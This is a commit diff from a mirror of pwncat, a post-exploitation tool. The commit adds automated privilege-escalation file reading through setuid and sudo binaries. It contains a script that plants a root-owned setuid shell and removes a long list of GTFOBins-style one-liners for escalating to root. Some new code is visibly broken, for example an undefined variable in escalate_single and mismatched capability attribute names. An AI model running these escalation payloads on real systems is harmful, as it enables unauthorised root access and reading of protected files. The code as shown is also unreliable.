mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-24 01:25:37 +01:00
Added privesc read capability! Only somewhat tested...
This commit is contained in:
parent
068c55f868
commit
3b7bf075d5
@ -34,5 +34,9 @@
|
||||
"script": "TF=$(mktemp); SHELL=$(mktemp); cp {shell} $SHELL; echo \"chown root:root $SHELL; chmod +sx $SHELL;\" > $TF;chmod +x $TF; {command}; sleep 1; $SHELL -p",
|
||||
"need": ["--on-download-error=$TF","http://x"]
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "cat",
|
||||
"read_file": "{path} {lfile}"
|
||||
}
|
||||
]
|
||||
|
@ -42,27 +42,6 @@ class RemoteBinaryPipe(RawIOBase):
|
||||
# Cleanup
|
||||
self.on_eof()
|
||||
|
||||
# def read(self, size: int = -1):
|
||||
# if self.eof == -1:
|
||||
# self.on_eof()
|
||||
|
||||
# if self.eof:
|
||||
# return b""
|
||||
|
||||
# if size == -1:
|
||||
# data = b""
|
||||
# while self.delim not in data:
|
||||
# data += self.pty.client.recv(1024 * 1024)
|
||||
# data = data.split(self.delim)[0]
|
||||
# self.eof = -1
|
||||
# else:
|
||||
# data = self.pty.client.recv(size)
|
||||
# if self.delim in data:
|
||||
# self.eof = -1
|
||||
# data = data.split(self.delim)[0]
|
||||
|
||||
# return data
|
||||
|
||||
def readinto(self, b: bytearray):
|
||||
if self.eof:
|
||||
return 0
|
||||
|
@ -7,11 +7,21 @@ import shlex
|
||||
import json
|
||||
import os
|
||||
|
||||
from pwncat.privesc import Capability
|
||||
|
||||
|
||||
class SudoNotPossible(Exception):
|
||||
""" Running the given binary to get a sudo shell is not possible """
|
||||
|
||||
|
||||
class FileReadNotPossible(Exception):
|
||||
""" Running the given binary to get a sudo shell is not possible """
|
||||
|
||||
|
||||
class FileWriteNotPossible(Exception):
|
||||
""" Running the given binary to get a sudo shell is not possible """
|
||||
|
||||
|
||||
class Binary:
|
||||
|
||||
_binaries: List[Dict[str, Any]] = []
|
||||
@ -22,6 +32,18 @@ class Binary:
|
||||
self.data = data
|
||||
self.path = path
|
||||
|
||||
self.capabilities = 0
|
||||
if self.has_read_file:
|
||||
self.capabilities |= Capability.READ
|
||||
if self.has_shell:
|
||||
self.capabilities |= Capability.SHELL
|
||||
if self.has_write_file:
|
||||
self.capabilities |= Capability.WRITE
|
||||
|
||||
# We need to fix this later...?
|
||||
if self.has_shell:
|
||||
self.capabilities |= Capability.SUDO
|
||||
|
||||
def shell(
|
||||
self,
|
||||
shell_path: str,
|
||||
@ -261,7 +283,7 @@ class Binary:
|
||||
cls._binaries = json.load(filp)
|
||||
|
||||
@classmethod
|
||||
def find(cls, path: str, name: str = None) -> "Binary":
|
||||
def find(cls, path: str = None, name: str = None,) -> "Binary":
|
||||
""" Locate the given gtfobin and return the Binary object. If name is
|
||||
not given, it is assumed to be the basename of the path. """
|
||||
|
||||
@ -274,6 +296,30 @@ class Binary:
|
||||
|
||||
return None
|
||||
|
||||
@classmethod
|
||||
def find_capability(
|
||||
cls, which: Callable[[str], str], capability: int = Capability.ALL
|
||||
) -> "Binary":
|
||||
""" Locate the given gtfobin and return the Binary object. If name is
|
||||
not given, it is assumed to be the basename of the path. """
|
||||
|
||||
for data in cls._binaries:
|
||||
path = which(data["name"])
|
||||
if path is None:
|
||||
continue
|
||||
|
||||
binary = Binary(path, data)
|
||||
if not binary.has_read and (capability & Capability.READ):
|
||||
continue
|
||||
if not binary.has_write and (capability & Capability.WRITE):
|
||||
continue
|
||||
if not binary.has_sudo and (capability & Capability.SUDO):
|
||||
continue
|
||||
if not binary.has_shell and (capability & Capability.SHELL):
|
||||
continue
|
||||
|
||||
return binary
|
||||
|
||||
@classmethod
|
||||
def find_sudo(cls, spec: str, get_binary_path: Callable[[str], str]) -> "Binary":
|
||||
""" Locate a GTFObin binary for the given sudo spec. This will separate
|
||||
|
@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python3
|
||||
from typing import Type, List, Tuple
|
||||
|
||||
from pwncat.privesc.base import Method, PrivescError, Technique, SuMethod
|
||||
from pwncat.privesc.base import Method, PrivescError, Technique, SuMethod, Capability
|
||||
from pwncat.privesc.setuid import SetuidMethod
|
||||
from pwncat.privesc.sudo import SudoMethod
|
||||
|
||||
@ -49,6 +49,81 @@ class Finder:
|
||||
|
||||
return techniques
|
||||
|
||||
def read_file(
|
||||
self,
|
||||
filename: str,
|
||||
target_user: str = None,
|
||||
depth: int = None,
|
||||
chain: List[Technique] = [],
|
||||
starting_user=None,
|
||||
):
|
||||
|
||||
if target_user is None:
|
||||
target_user = "root"
|
||||
|
||||
current_user = self.pty.current_user
|
||||
if (
|
||||
target_user == current_user["name"]
|
||||
or current_user["uid"] == 0
|
||||
or current_user["name"] == "root"
|
||||
):
|
||||
binary = gtfobins.Binary.find_capability(self.pty.which, Capability.READ)
|
||||
if binary is None:
|
||||
raise PrivescError("no binaries to read with")
|
||||
|
||||
return self.pty.subprocess(binary.read_file(filename)), chain
|
||||
|
||||
if starting_user is None:
|
||||
starting_user = current_user
|
||||
|
||||
if depth is not None and len(chain) > depth:
|
||||
raise PrivescError("max depth reached")
|
||||
|
||||
# Enumerate escalation options for this user
|
||||
techniques = []
|
||||
for method in self.methods:
|
||||
try:
|
||||
found_techniques = method.enumerate(capability=Capability.ALL)
|
||||
for tech in found_techniques:
|
||||
|
||||
if tech.user == target_user and (
|
||||
tech.capabilities & Capability.READ
|
||||
):
|
||||
try:
|
||||
read_pipe = tech.method.read_file(filename, tech)
|
||||
|
||||
return (read_pipe, chain)
|
||||
except PrivescError as e:
|
||||
pass
|
||||
techniques.extend(found_techniques)
|
||||
except PrivescError:
|
||||
pass
|
||||
|
||||
# We can't escalate directly to the target to read a file. So, try recursively
|
||||
# against other users.
|
||||
for tech in techniques:
|
||||
if tech.user == target_user:
|
||||
continue
|
||||
try:
|
||||
exit_command = self.escalate_single(tech)
|
||||
chain.append((tech, exit_command))
|
||||
except PrivescError:
|
||||
continue
|
||||
try:
|
||||
return self.read_file(
|
||||
filename, target_user, depth, chain, starting_user
|
||||
)
|
||||
except PrivescError:
|
||||
tech, exit_command = chain[-1]
|
||||
self.pty.run(exit_command, wait=False)
|
||||
chain.pop()
|
||||
|
||||
raise PrivescError(f"no route to {target_user} found")
|
||||
|
||||
def escalate_single(self, technique: Technique) -> str:
|
||||
self.pty.run("echo") # restabilize shell
|
||||
return technique.method.execute(tech)
|
||||
|
||||
def escalate(
|
||||
self,
|
||||
target_user: str = None,
|
||||
@ -80,7 +155,9 @@ class Finder:
|
||||
techniques = []
|
||||
for method in self.methods:
|
||||
try:
|
||||
found_techniques = method.enumerate()
|
||||
found_techniques = method.enumerate(
|
||||
capability=Capability.SHELL | Capability.SUDO
|
||||
)
|
||||
for tech in found_techniques:
|
||||
if tech.user == target_user:
|
||||
try:
|
||||
@ -113,3 +190,11 @@ class Finder:
|
||||
chain.pop()
|
||||
|
||||
raise PrivescError(f"no route to {target_user} found")
|
||||
|
||||
def unwrap(self, techniques: List[Tuple[Technique, str]]):
|
||||
# Work backwards to get back to the original shell
|
||||
for technique, exit in reversed(techniques):
|
||||
self.pty.run(exit, wait=False)
|
||||
|
||||
# Reset the terminal to get to a sane prompt
|
||||
self.pty.reset()
|
||||
|
@ -8,6 +8,16 @@ import os
|
||||
|
||||
from pwncat import util
|
||||
|
||||
from enum import Enum
|
||||
|
||||
|
||||
class Capability:
|
||||
READ = 1
|
||||
WRITE = 2
|
||||
SHELL = 4
|
||||
SUDO = 8
|
||||
ALL = READ | WRITE | SHELL | SUDO
|
||||
|
||||
|
||||
class PrivescError(Exception):
|
||||
""" An error occurred while attempting a privesc technique """
|
||||
@ -22,6 +32,8 @@ class Technique:
|
||||
# The unique identifier for this method (can be anything, specific to the
|
||||
# method)
|
||||
ident: Any
|
||||
# The GTFObins capabilities required for this technique to work
|
||||
capabilities: int
|
||||
|
||||
def __str__(self):
|
||||
return self.method.get_name(self)
|
||||
@ -43,7 +55,7 @@ class Method:
|
||||
def __init__(self, pty: "pwncat.pty.PtyHandler"):
|
||||
self.pty = pty
|
||||
|
||||
def enumerate(self) -> List[Technique]:
|
||||
def enumerate(self, capability: int = Capability.ALL) -> List[Technique]:
|
||||
""" Enumerate all possible escalations to the given users """
|
||||
raise NotImplementedError("no enumerate method implemented")
|
||||
|
||||
@ -64,7 +76,7 @@ class SuMethod(Method):
|
||||
name = "su"
|
||||
BINARIES = ["su"]
|
||||
|
||||
def enumerate(self) -> List[Technique]:
|
||||
def enumerate(self, capability=Capability.ALL) -> List[Technique]:
|
||||
|
||||
result = []
|
||||
current_user = self.pty.whoami()
|
||||
|
@ -6,76 +6,12 @@ from time import sleep
|
||||
import os
|
||||
from colorama import Fore, Style
|
||||
|
||||
from pwncat.util import info, success, error, progress, warn
|
||||
from pwncat.privesc.base import Method, PrivescError, Technique
|
||||
from pwncat import gtfobins
|
||||
import io
|
||||
|
||||
# https://gtfobins.github.io/#+suid
|
||||
known_setuid_privescs = {
|
||||
"env": ("{} /bin/bash -p", "exit"),
|
||||
"bash": ("{} -p", "exit"),
|
||||
"chmod": ("{} +s /bin/bash\n/bin/bash -p", "exit"),
|
||||
"chroot": ("{} / /bin/bash -p", "exit"),
|
||||
"dash": ("{} -p", "exit"),
|
||||
"ash": ("{}", "exit"),
|
||||
"docker": ("{} run -v /:/mnt --rm -it alpine chroot /mnt sh", "exit"),
|
||||
"emacs": ("""{} -Q -nw --eval '(term "/bin/sh -p")'""", "exit"),
|
||||
"find": ("{} . -exec /bin/sh -p \\; -quit", "exit"),
|
||||
"flock": ("{} -u / /bin/sh -p", "exit"),
|
||||
"gdb": (
|
||||
"""{} -nx -ex 'python import os; os.execl("/bin/bash", "bash", "-p")' -ex quit""",
|
||||
"exit",
|
||||
),
|
||||
"logsave": ("{} /dev/null /bin/bash -i -p", "exit"),
|
||||
"make": (
|
||||
"COMMAND='/bin/sh -p'",
|
||||
"""{} -s --eval=$'x:\\n\\t-'\"$COMMAND\"""",
|
||||
"exit",
|
||||
),
|
||||
"nice": ("{} /bin/bash -p", "exit"),
|
||||
"node": (
|
||||
"""{} -e 'require("child_process").spawn("/bin/sh", ("-p"), {stdio: (0, 1, 2)});'""",
|
||||
"exit",
|
||||
),
|
||||
"nohup": ("""{} /bin/sh -p -c \"sh -p <$(tty) >$(tty) 2>$(tty)\"""", "exit"),
|
||||
"perl": ("""{} -e 'exec "/bin/sh";'""", "exit"),
|
||||
"php": ("""{} -r \"pcntl_exec('/bin/sh', ('-p'));\"""", "exit"),
|
||||
"python": ("""{} -c 'import os; os.execl("/bin/sh", "sh", "-p")'""", "exit"),
|
||||
"rlwrap": ("{} -H /dev/null /bin/sh -p", "exit"),
|
||||
"rpm": ("""{} --eval '%{lua:os.execute("/bin/sh", "-p")}'""", "exit"),
|
||||
"rpmquery": ("""{} --eval '%{lua:posix.exec("/bin/sh", "-p")}'""", "exit"),
|
||||
"rsync": ("""{} -e 'sh -p -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null""", "exit"),
|
||||
"run-parts": ("""{} --new-session --regex '^sh$' /bin --arg='-p'""", "exit"),
|
||||
"rvim": (
|
||||
"""{} -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'""",
|
||||
"exit",
|
||||
),
|
||||
"setarch": ("""{} $(arch) /bin/sh -p""", "exit"),
|
||||
"start-stop-daemon": ("""{} -n $RANDOM -S -x /bin/sh -- -p""", "exit"),
|
||||
"strace": ("""{} -o /dev/null /bin/sh -p""", "exit"),
|
||||
"tclsh": ("""{}\nexec /bin/sh -p <@stdin >@stdout 2>@stderr; exit""", "exit"),
|
||||
"tclsh8.6": ("""{}\nexec /bin/sh -p <@stdin >@stdout 2>@stderr; exit""", "exit"),
|
||||
"taskset": ("""{} 1 /bin/sh -p""", "exit"),
|
||||
"time": ("""{} /bin/sh -p""", "exit"),
|
||||
"timeout": ("""{} 7d /bin/sh -p""", "exit"),
|
||||
"unshare": ("""{} -r /bin/sh""", "exit"),
|
||||
"vim": ("""{} -c ':!/bin/sh' -c ':q'""", "exit"),
|
||||
"watch": ("""{} -x sh -c 'reset; exec sh 1>&0 2>&0'""", "exit"),
|
||||
"zsh": ("""{}""", "exit"),
|
||||
# need to add in cp trick to overwrite /etc/passwd
|
||||
# need to add in curl trick to overwrite /etc/passwd
|
||||
# need to add in wget trick to overwrite /etc/passwd
|
||||
# need to add in dd trick to overwrite /etc/passwd
|
||||
# need to add in openssl trick to overwrite /etc/passwd
|
||||
# need to add in sed trick to overwrite /etc/passwd
|
||||
# need to add in shuf trick to overwrite /etc/passwd
|
||||
# need to add in systemctl trick to overwrite /etc/passwd
|
||||
# need to add in tee trick to overwrite /etc/passwd
|
||||
# need to add in wget trick to overwrite /etc/passwd
|
||||
# need to add in nano trick but requires Control+R Control+X keys
|
||||
# need to add in pico trick but requires Control+R Control+X keys
|
||||
# b"/bin/nano": ["/bin/nano", "\x12\x18reset; sh -p 1>&0 2>&0"],
|
||||
}
|
||||
from pwncat.util import info, success, error, progress, warn
|
||||
from pwncat.privesc.base import Method, PrivescError, Technique, Capability
|
||||
from pwncat import gtfobins
|
||||
from pwncat.file import RemoteBinaryPipe
|
||||
|
||||
|
||||
class SetuidMethod(Method):
|
||||
@ -114,17 +50,24 @@ class SetuidMethod(Method):
|
||||
self.suid_paths[user] = []
|
||||
self.suid_paths[user].append(path)
|
||||
|
||||
def enumerate(self) -> List[Technique]:
|
||||
def enumerate(self, capability: int = Capability.ALL) -> List[Technique]:
|
||||
""" Find all techniques known at this time """
|
||||
|
||||
if self.suid_paths is None:
|
||||
self.find_suid()
|
||||
|
||||
known_techniques = []
|
||||
for user, paths in self.suid_paths.items():
|
||||
for path in paths:
|
||||
binary = gtfobins.Binary.find(path)
|
||||
if binary is not None:
|
||||
yield Technique(user, self, binary)
|
||||
if (capability & binary.capabilities) == 0:
|
||||
continue
|
||||
|
||||
known_techniques.append(
|
||||
Technique(user, self, binary, binary.capabilities)
|
||||
)
|
||||
|
||||
return known_techniques
|
||||
|
||||
def execute(self, technique: Technique):
|
||||
""" Run the specified technique """
|
||||
@ -165,5 +108,14 @@ class SetuidMethod(Method):
|
||||
|
||||
raise PrivescError(f"escalation failed for {technique}")
|
||||
|
||||
def read_file(self, filepath: str, technique: Technique) -> RemoteBinaryPipe:
|
||||
binary = technique.ident
|
||||
read_payload = binary.read_file(filepath)
|
||||
|
||||
# read_pipe = self.pty.subprocess(read_payload)
|
||||
read_pipe = io.BytesIO(self.pty.run(read_payload))
|
||||
|
||||
return read_pipe
|
||||
|
||||
def get_name(self, tech: Technique):
|
||||
return f"{Fore.GREEN}{tech.user}{Fore.RESET} via {Fore.CYAN}{tech.ident.path}{Fore.RESET} ({Fore.RED}setuid{Fore.RESET})"
|
||||
|
@ -12,6 +12,7 @@ from pwncat.privesc.base import Method, PrivescError, Technique
|
||||
|
||||
from pwncat.pysudoers import Sudoers
|
||||
from pwncat import gtfobins
|
||||
from pwncat.privesc import Capability
|
||||
|
||||
|
||||
class SudoMethod(Method):
|
||||
@ -108,7 +109,7 @@ class SudoMethod(Method):
|
||||
|
||||
return sudoers.rules
|
||||
|
||||
def enumerate(self) -> List[Technique]:
|
||||
def enumerate(self, capability: int = Capability.ALL) -> List[Technique]:
|
||||
""" Find all techniques known at this time """
|
||||
|
||||
info(f"checking {Fore.YELLOW}sudo -l{Fore.RESET} output", overlay=True)
|
||||
@ -194,6 +195,10 @@ class SudoMethod(Method):
|
||||
# No GTFObins possible with this sudo spec
|
||||
continue
|
||||
|
||||
# If this binary cannot sudo, don't bother with it
|
||||
if not (binary.capabilities & Capability.SUDO):
|
||||
continue
|
||||
|
||||
if sudo_privesc["run_as_user"] == "ALL":
|
||||
# add a technique for root
|
||||
techniques.append(
|
||||
@ -201,6 +206,7 @@ class SudoMethod(Method):
|
||||
"root",
|
||||
self,
|
||||
(binary, sudo_privesc["command"], sudo_privesc["password"]),
|
||||
binary.capabilities,
|
||||
)
|
||||
)
|
||||
else:
|
||||
@ -211,6 +217,7 @@ class SudoMethod(Method):
|
||||
u,
|
||||
self,
|
||||
(binary, sudo_privesc["command"], sudo_privesc["password"]),
|
||||
binary.capabilities,
|
||||
)
|
||||
)
|
||||
|
||||
|
@ -524,6 +524,13 @@ class PtyHandler:
|
||||
default=None,
|
||||
help="Maximum depth for the privesc search (default: no maximum)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--read",
|
||||
"-r",
|
||||
type=str,
|
||||
default=None,
|
||||
help="remote filename to try and read",
|
||||
)
|
||||
|
||||
try:
|
||||
args = parser.parse_args(argv)
|
||||
@ -538,6 +545,18 @@ class PtyHandler:
|
||||
else:
|
||||
for tech in techniques:
|
||||
util.info(f"escalation to {tech}")
|
||||
elif args.read:
|
||||
try:
|
||||
read_pipe, chain = self.privesc.read_file(
|
||||
args.read, args.user, args.depth
|
||||
)
|
||||
sys.stdout.buffer.write(read_pipe.read(4096))
|
||||
read_pipe.close()
|
||||
|
||||
self.privesc.unwrap(chain)
|
||||
|
||||
except privesc.PrivescError as exc:
|
||||
util.error(f"read file failed: {exc}")
|
||||
else:
|
||||
try:
|
||||
self.privesc.escalate(args.user, args.depth)
|
||||
|
63
pwncat/reader/__init__.py
Normal file
63
pwncat/reader/__init__.py
Normal file
@ -0,0 +1,63 @@
|
||||
#!/usr/bin/env python3
|
||||
from typing import Type, List, Tuple
|
||||
|
||||
from pwncat.reader.base import Method, ReaderError, Technique
|
||||
from pwncat.reader.cat import CatMethod
|
||||
|
||||
|
||||
reader_methods = [CatMethod]
|
||||
|
||||
|
||||
class Reader:
|
||||
""" Locate a privesc chain which ends with the given user. If `depth` is
|
||||
supplied, stop searching at `depth` techniques. If `depth` is not supplied
|
||||
or is negative, search until all techniques are exhausted or a chain is
|
||||
found. If `user` is not provided, depth is forced to `1`, and all methods
|
||||
to privesc to that user are returned. """
|
||||
|
||||
def __init__(self, pty: "pwncat.pty.PtyHandler"):
|
||||
""" Create a new privesc finder """
|
||||
|
||||
self.pty = pty
|
||||
|
||||
self.methods: List[Method] = []
|
||||
for m in reader_methods:
|
||||
try:
|
||||
m.check(self.pty)
|
||||
self.methods.append(m(self.pty))
|
||||
except ReaderError:
|
||||
pass
|
||||
|
||||
def search(self, filename: str) -> List[Technique]:
|
||||
""" Search for reader techniques."""
|
||||
|
||||
techniques = []
|
||||
for method in self.methods:
|
||||
try:
|
||||
techniques.extend(method.enumerate(filename))
|
||||
except ReaderError:
|
||||
pass
|
||||
|
||||
return techniques
|
||||
|
||||
def read(self, filename: str,) -> str:
|
||||
""" Read a file using any known techniques """
|
||||
|
||||
# Enumerate escalation options for this user
|
||||
techniques = []
|
||||
for method in self.methods:
|
||||
try:
|
||||
found_techniques = method.enumerate(filename)
|
||||
for tech in found_techniques:
|
||||
|
||||
try:
|
||||
filecontents = tech.method.execute(tech)
|
||||
return filecontents
|
||||
except ReaderError:
|
||||
return None
|
||||
|
||||
techniques.extend(found_techniques)
|
||||
except ReaderError:
|
||||
pass
|
||||
|
||||
raise ReaderError(f"failed to read {filename}")
|
59
pwncat/reader/base.py
Normal file
59
pwncat/reader/base.py
Normal file
@ -0,0 +1,59 @@
|
||||
#!/usr/bin/env python3
|
||||
from typing import Generator, Callable, List, Any
|
||||
from dataclasses import dataclass
|
||||
from colorama import Fore
|
||||
import threading
|
||||
import socket
|
||||
import os
|
||||
|
||||
from pwncat import util
|
||||
|
||||
|
||||
class ReaderError(Exception):
|
||||
""" An error occurred while attempting a privesc technique """
|
||||
|
||||
|
||||
@dataclass
|
||||
class Technique:
|
||||
# The user that this technique will move to
|
||||
filename: str
|
||||
# The method that will be used
|
||||
method: "Method"
|
||||
# The unique identifier for this method (can be anything, specific to the
|
||||
# method)
|
||||
ident: Any
|
||||
|
||||
def __str__(self):
|
||||
return self.method.get_name(self)
|
||||
|
||||
|
||||
class Method:
|
||||
|
||||
# Binaries which are needed on the remote host for this file read functionality
|
||||
name = "unknown"
|
||||
BINARIES = []
|
||||
|
||||
@classmethod
|
||||
def check(cls, pty: "pwncat.pty.PtyHandler") -> bool:
|
||||
""" Check if the given PTY connection can support this privesc """
|
||||
for binary in cls.BINARIES:
|
||||
if pty.which(binary) is None:
|
||||
raise ReaderError(f"required remote binary not found: {binary}")
|
||||
|
||||
def __init__(self, pty: "pwncat.pty.PtyHandler"):
|
||||
self.pty = pty
|
||||
|
||||
def enumerate(self) -> List[Technique]:
|
||||
""" Enumerate all possible escalations to the given users """
|
||||
raise NotImplementedError("no enumerate method implemented")
|
||||
|
||||
def execute(self, technique: Technique):
|
||||
""" Execute the given technique to move laterally to the given user.
|
||||
Raise a PrivescError if there was a problem. """
|
||||
raise NotImplementedError("no execute method implemented")
|
||||
|
||||
def get_name(self, tech: Technique):
|
||||
return f"{Fore.GREEN}{tech.filename}{Fore.RESET} via {Fore.RED}{self}{Fore.RED}"
|
||||
|
||||
def __str__(self):
|
||||
return self.name
|
105
pwncat/reader/cat.py
Normal file
105
pwncat/reader/cat.py
Normal file
@ -0,0 +1,105 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
from typing import Generator, List
|
||||
import shlex
|
||||
import sys
|
||||
from time import sleep
|
||||
import os
|
||||
from colorama import Fore, Style
|
||||
|
||||
from pwncat.util import info, success, error, progress, warn
|
||||
from pwncat.reader.base import Method, ReaderError, Technique
|
||||
from pwncat import gtfobins
|
||||
|
||||
|
||||
class CatMethod(Method):
|
||||
|
||||
name = "cat"
|
||||
BINARIES = ["cat"]
|
||||
|
||||
def __init__(self, pty: "pwncat.pty.PtyHandler"):
|
||||
super(CatMethod, self).__init__(pty)
|
||||
|
||||
# self.suid_paths = None
|
||||
|
||||
# def find_suid(self):
|
||||
|
||||
# # Spawn a find command to locate the setuid binaries
|
||||
# delim = self.pty.process("find / -perm -4000 -print 2>/dev/null")
|
||||
# files = []
|
||||
# self.suid_paths = {}
|
||||
|
||||
# while True:
|
||||
# path = self.pty.recvuntil(b"\n").strip()
|
||||
# progress("searching for setuid binaries")
|
||||
|
||||
# if delim in path:
|
||||
# break
|
||||
|
||||
# files.append(path.decode("utf-8"))
|
||||
|
||||
# for path in files:
|
||||
# user = (
|
||||
# self.pty.run(f"stat -c '%U' {shlex.quote(path)}")
|
||||
# .strip()
|
||||
# .decode("utf-8")
|
||||
# )
|
||||
# if user not in self.suid_paths:
|
||||
# self.suid_paths[user] = []
|
||||
# self.suid_paths[user].append(path)
|
||||
|
||||
def enumerate(self, filename: str) -> List[Technique]:
|
||||
""" Find all techniques known at this time """
|
||||
|
||||
# if self.suid_paths is None:
|
||||
# self.find_suid()
|
||||
|
||||
binary = self.BINARIES[0]
|
||||
|
||||
yield Technique(filename, self, binary)
|
||||
|
||||
# for user, paths in self.suid_paths.items():
|
||||
# for path in paths:
|
||||
# binary = gtfobins.Binary.find(path)
|
||||
# if binary is not None:
|
||||
|
||||
def execute(self, technique: Technique):
|
||||
""" Run the specified technique """
|
||||
|
||||
filename = technique.filename
|
||||
binary = technique.ident
|
||||
# enter, exit = binary.shell("/bin/bash")
|
||||
|
||||
info(
|
||||
f"attempting read {Fore.YELLOW}{Style.BRIGHT}{filename}{Style.RESET_ALL} with {Fore.GREEN}{Style.BRIGHT}{binary}{Style.RESET_ALL}",
|
||||
)
|
||||
|
||||
# before_shell_level = self.pty.run("echo $SHLVL").strip()
|
||||
# before_shell_level = int(before_shell_level) if before_shell_level != b"" else 0
|
||||
|
||||
# Run the start commands
|
||||
delim = self.pty.process(f"{binary} {filename}", delim=True)
|
||||
|
||||
content = self.pty.recvuntil(delim).split(delim)[0]
|
||||
# print(content)
|
||||
|
||||
return content
|
||||
# sleep(0.1)
|
||||
# user = self.pty.run("whoami").strip().decode("utf-8")
|
||||
# if user == technique.user:
|
||||
# success("privesc succeeded")
|
||||
# return exit
|
||||
# else:
|
||||
# error(f"privesc failed (still {user} looking for {technique.user})")
|
||||
# after_shell_level = self.pty.run("echo $SHLVL").strip()
|
||||
# after_shell_level = (
|
||||
# int(after_shell_level) if after_shell_level != b"" else 0
|
||||
# )
|
||||
# if after_shell_level > before_shell_level:
|
||||
# info("exiting spawned inner shell")
|
||||
# self.pty.run(exit, wait=False) # here be dragons
|
||||
|
||||
# raise PrivescError(f"escalation failed for {technique}")
|
||||
|
||||
def get_name(self, tech: Technique):
|
||||
return f"{Fore.GREEN}{tech.filename}{Fore.RESET} via {Fore.CYAN}{tech.ident}{Fore.RESET} ({Fore.RED}cat{Fore.RESET})"
|
Loading…
Reference in New Issue
Block a user